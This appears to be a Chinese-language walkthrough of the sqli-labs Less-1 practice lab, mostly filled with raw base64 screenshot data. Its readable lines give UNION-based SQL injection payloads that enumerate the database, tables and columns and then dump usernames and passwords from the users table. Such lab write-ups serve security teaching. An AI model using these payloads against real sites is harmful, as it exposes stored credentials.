WqqheDFt6dw9aE962Nl5DKosn3kc403hO6N2PETguHBioqbZd8f+dIFsfG1af+NdvRouPtOZzOyLexAgBevoyRG1jvW+V4aU5g0OkrtteutanwQbezNGIdomT99GHEQudBeWEZY4Vkz/wSu65hOIf2vRXkQkS0CnWmvaHFtnu+2Ccp2j6F1DxecF7GiJ13pYZdGZTXOz2q96LrDlI5HBvHti4824Bmw7eCjTiQLqTZ8mrACKmSaRLoyhfiWes4DqcLka/VwMtOkoh1iFL1Y0dWb5isOHbamiaQymDb0h5iTUS0tLSb6tgZtLzZkEJjrD7bCgfflo6dSfTm0T8tNUYVsROFS4/HvkPKwvB32DvkTLkQJ03rDI6PAgl0XsK2SQxOAAkcmCwGy4h1iFL180RjJw7iDIcLERHFEnR+3z0ffN4vr9355GPnjmmksmiWm1Dq2OlY8yraxqHl0W8EDpkJSlOvIzWFqhPY24e1Z5EyUX8QbwhBKGId4mnFzqoO9ObRfV5eqrrpk4iIwgTFzpcvI5Uudj+6OtM4c7n4cknFzs604lv8sfOAbxqdqg6ctLB7Z7w0OIHBLFp1/KKuEIHadSlBxDpEqfqp0jDiXE8tLow/VsiOwYMT8tKDOGOhdyxORkREq1xQ7EQzjvvuplirYTCP3cKNg/uyOD4qpWmbRSqNTfIom6cXO32xatct7wp2mNIquJ8Vb4iMksa+5Dn8P4UW5L4sRh7I3x6tDlGyfjwTWQCwb2y1sMs/FW3wPSprP8SI77fOy5eR8o37JSKiYAm8dhepW+ruyvrz6M/jwFDhnsINPejJ4bB8N8vWq0hlsKsVAKobsOsL7DcU9+ZvuqIIqHGLesjCmSthkx/Vj2HEQu/FYoG77mA4h9QUqhL4tTizQQbtPXimFgCqNmCLDm1eCjZR0gBonSm2IJsNX5MuWh0iQv08/xH68+jsQTUKTx/rnlE/9yZsboQEds+i/za2bCuuVP+SfHIOEdES5Xmwl/IEur47eE4cWyParxcTtLSifgxvnnOG1WjSV0gT6FRQ1JA20saP8Y59X0oefTNoacXaPpzOYSSL3c6tk7+8jrc/x9vOetnT9GySG3BR0tgFc28nfXZUPeImrA7j1M/6U4WBSyNZ7B9AlYZuHc/5b9EJnxshgZ/p6MsWq2jXr5XpiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiJ6e/wf16CeqC2ZS8AAAAABJRU5ErkJggg==" alt="" />
查询数据库: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-' UNION SELECT 1,2,database() %23 得到数据库为security
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" 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查询当前数据库下的所有表: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23 (此处可以将database()更换为库名‘security’,但是必须得用两个单引号括起来) 得到4个表emails,referers,uagents,users
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VM38cLihipKSLMLEZLGL+O54QraauIMN2Z5Do+sbJ9FEevYAPDSyIiIiIicqmist1L6mitujnM1Y8wNcvc1osDt/DOV5j2Fm79C/WKQ80QYb5yHWYBPcGnlVYRYbrPsazXcq8bJvB3l4JLBG3CUA1X2xIRERERUctTRZgvXIC5jBcirw8t44MLlV+bIcJc/zH6d6Yo8+6lFI9tbIYIc2hZsuNVRJg4hklv9eAatRuR8BJY/zFytd1qS0RERERErU0VYaIH70af82FgsoTdwgMS9xXw7kwgTf8dYSFTzypGmBkMLXmr++iVefs8zCJO3sXBz7BnFjvG8NyLykeMNEuEGYmcQ49R0YowgT33MX0zHBl2WRh4LVIs9dNK2gZxZD6cifuQldCCt0RERERE9DjJ4LV7MG/JHocIdH6C8ZL37MQMNo5gpBheEWfbZZgr2NUHAOu6sOsq9tvlxWMGhKDupYuSsDOtwXsw72GzkMmTQzjwNcyblccw6pR54wT+9nPsmsX+z3D0Lj4swHQwrXjYRu8XivrJ4KCD4TOB19rPwHTQ2xFNraaRT+dZTDsYPVfZqdxdnCrCvIa2DP7mPAAM3sMHF8txcte5yrpKbRMwHezydq1tEKMlGJ/jxe0A0LYRWy0csSQBtnvTZug4unYvKVcMiiYmIiIiIqLHgh9CuP+kF45uGEZuEaccmA7GF9E/HAlFujFwo5Kgtw+dZ/HWGaxz3zVkcUgVk5nSfLx/J86lKHP7aUxHI8YOvJYPXEkbqhz3X+WRHmJ5vInEHjuhMhP2Kzafzb/Ge+4TSkoYW0BvH9aP4WQR0wXsHqz8yXFLKHkenVkc97LypzHberHnBsaLMB2cWkFuVv79Qswc5kBeeSzCj0IhIiIiIiJ6hPXYmLwsf6LJ5KUGlIeIiIiIiIha1foxjDsYtvCc93TOdV14cRZGMXCvJhEREREREVGydX3Yu1C+TNS9UvS9q/hJb6OLRURERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERyHdh6AdsbXYq6aNuIF8/gF1caXQ4iIiIiIkqr04LpeP9s71Wj8mLOaGTxpAJl9v6dWsHROfzn7kYXrhFyXiX0NLokOvrvwCyiPyt5q8eWtcYW0fYyBm7go1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" alt="" />
查询表user下的列:
http://127.0.0.1/sqli-labs-master/Less-1/
?id=-' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and TABLE_SCHEMA='security' %23
得到3个列名:id,username和password
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查字段信息: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-' UNION SELECT 1,2,group_concat(id,username,password) from users %23
